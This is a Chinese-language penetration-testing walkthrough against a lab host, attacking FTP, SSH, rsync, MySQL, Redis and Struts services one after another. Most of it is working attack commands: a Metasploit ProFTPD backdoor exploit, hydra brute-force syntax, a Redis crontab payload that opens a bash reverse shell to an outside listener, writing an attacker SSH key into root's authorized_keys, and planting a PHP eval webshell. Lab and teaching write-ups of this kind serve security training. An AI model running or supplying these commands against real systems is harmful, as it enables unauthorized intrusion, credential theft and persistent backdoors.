文章为信息收集和端口渗透两部分,21端口为ftp版本漏洞 8080端口为CMS的渗透
信息收集:
·使用扫描工具nmap ,PortScan 对整个网段进行扫描
信息:通过访问网站得到要测试的IP为192.168.31.69
该IP的中间件为Apache/2.4.7 目标系统为Ubuntu
开放的端口为21(ftp:ProFTPD 1.3.3c). 22(ssh).873 (rsync).3306(Mysql). 6379(Redis) .8080(Struts2)
访问80端口发现phpinfo页面 phpinfo可获得该IP网站的所有配置信息
测试过程
·21端口测试 查看到ftp的版本,搜索得知ftp为ProFTPD 1.3.3c存在后门漏洞
启动MSF的终端
msfconsole
搜索proFTPD的攻击模块,并载入
search proFTPD //搜索proFTPD的攻击模块
use exploit/unit/ftp/proftpd_133c_backdoor //载入选择模块
填写模块内容 并执行,之后反弹shell 就ok了
如果不知该填写什么参数可以 show一下
show options //需要填写的信息
set RHOSTS 192.168.31.69 //目标IP
run //执行
当然这只是针对ProFTPD 1.3.3c的利用过程,也可以使用暴力破解,但你的密码库要绝对的强大
·22端口测试 使用kali的工具hydra对目标IP的22端口进行暴力破解
爆破命令:
hydra -l(用户名) root -P(爆破字典) /usr/pass.txt(绝对路径,pass.txt为字典文件名,可以将自己的字典加入到该目录下)
-V(显示爆破过程) -t(指定线程数) 10 ssh://127.0.0.1(如果是默认端口,可以不写,如果不是默认端口,要加端口xx,如ssh://127.0.0.1:xx)
暴力破解获得密码
获得用户及密码后可以使用ssh进行连接22端口
ssh 用户名@IP地址
这里介绍一下hydra的一些参数
参数:
-R 继续从上一次进度接着破解
-S 大写,采用SSL链接
-s 小写,可通过这个参数指定非默认端口
-l 指定破解的用户,对特定用户破解
-L 指定用户名字典
-p 小写,指定密码破解,少用,一般是采用密码字典
-P 大写,指定密码字典
-e 可选选项,n:空密码试探,s:使用指定用户和密码试探
-C 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数
-M 指定目标列表文件一行一条
-o 指定结果输出文件
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解
-t 同时运行的线程数,默认为16
-w 设置最大超时的时间,单位秒,默认是30s
-v /-V显示详细过程
各协议的具体命令:
格式+示例:
1、破解ssh:
hydra -L 用户名字典 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
2、破解ftp:
hydra ip ftp -L 用户名字典 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
参数说明:
-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止
·873端口测试 873端口为rsync服务存在未授权访问漏洞
启动MSF的终端
msfconsole
搜索rsync的攻击模块 并载入
search rsync //搜索rsync的攻击模块
use auxiliary/scanner/rsync/modules_list //载入要攻击的模块
show options //需要填写的信息
set rhosts 192.168.31.69 //目标IP
run //执行
可以通过命令达到未授权访问WWW文件夹
rsync root@192.168.31.69::
rsync root@192.168.31.69:WWW
·3306 端口测试 使用kali的工具进行暴力破解
这里暴力破解使用的还是metasploit frameword
老样子,先启动MSF的终端
msfconsole
因为3306为mysql的服务,所以要搜索关于mysql的模块
search mysql
之后载入选择的模块,我这里选择的是
use auxiliary/scanner/mysql/mysql_login
show options
填写参数,可以爆破出密码为123456
获得用户名及密码后可以通过其他模块进行执行sql语句
成功执行sql语句
·6379 端口测试 6379端口为redis服务,可能存在未授权访问漏洞
要测试redis服务需要在本地安装redis服务
安装:
wget http://download.redis.io/releases/redis-4.0.8.tar.gz //下载地址
tar xzf redis-4.0.8.tar.gz //解压下载文件
cd redis-3.2.0 //转到redis-3.2.0目录下
make //到所在目录中安装
安装成功后需要配置一下文件,可以进行远程访问
vim redis.conf //打开配置文件
在bind 127.0.0.1前面加上# , 把protected-mode设为no
使用
先转到redis-3.2.0的src目录下
cd /root/redis-3.2.0/src
接着启动redis服务
./redis-cli -h 192.168.31.69
发现连接成功可以执行info
方法:
1)利用计划任务执行命令反弹shell
条件:在redis以root权限运行时可以写crontab来执行命令反弹shell
先在自己的服务器上监听一个端口:
nc -lvnp 4444
然后执行命令:
root@kali:~# redis-cli -h 192.168.31.69
192.168.31.69:6379>set x “\n* * * * * bash -i >& /dev/tcp/192.168.31.158/4444 0>&1\n”
ok
192.168.31.69:6379>config set dir /var/spool/cron/
ok
192.168.31.69:6379>config set dbfilename root
ok
192.168.31.69:6379>save
ok
去查看监听的端口,会反弹会shell
2)写ssh-keygen公钥然后使用私钥登陆
条件:Redis服务使用ROOT账号启动
服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
首先需要在本生成密钥:
然后redis执行命令:
192.168.31.69:6379> config set dir /root/.ssh/
OK
192.168.31.69:6379> config set dbfilename authorized_keys
OK
192.168.31.69:6379> set x “\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n”
OK
192.168.31.69:6379> save
OK
然后直接利用公钥登录ssh
ssh -i id_rsa root@192.168.31.69
3)写webshell
条件:开启web服务 且web目录有写入权限 知道绝对路径
192.168.31.69:6379>config set dir /var/www/html/
ok
192.168.31.69:6379>config set dbfilename shell.php
ok
192.168.31.69:6379>set x “<?php @eval($_POST[‘pass’]);?>”
ok
192.168.31.69:6379>save
ok
4)使用hydra暴力破解redis密码
hydra -P passwd.txt redis://192.168.31.69
·8080端口测试 发现网站Struts 发现Struts可以使用Struts Scan工具获得指定漏洞交互式shell
下载Struts Scan:
git clone https://github.com/Lucifer1993/struts-scan //下载
tar xzf struts-scan //解压
cd struts-scan-master //转到struts-scan-master 下
python struts-scan.py //运行程序
扫描网站
python struts-scan.py http://192.168.31.69:8080/index.action
使用给出的漏洞交互shell 执行payload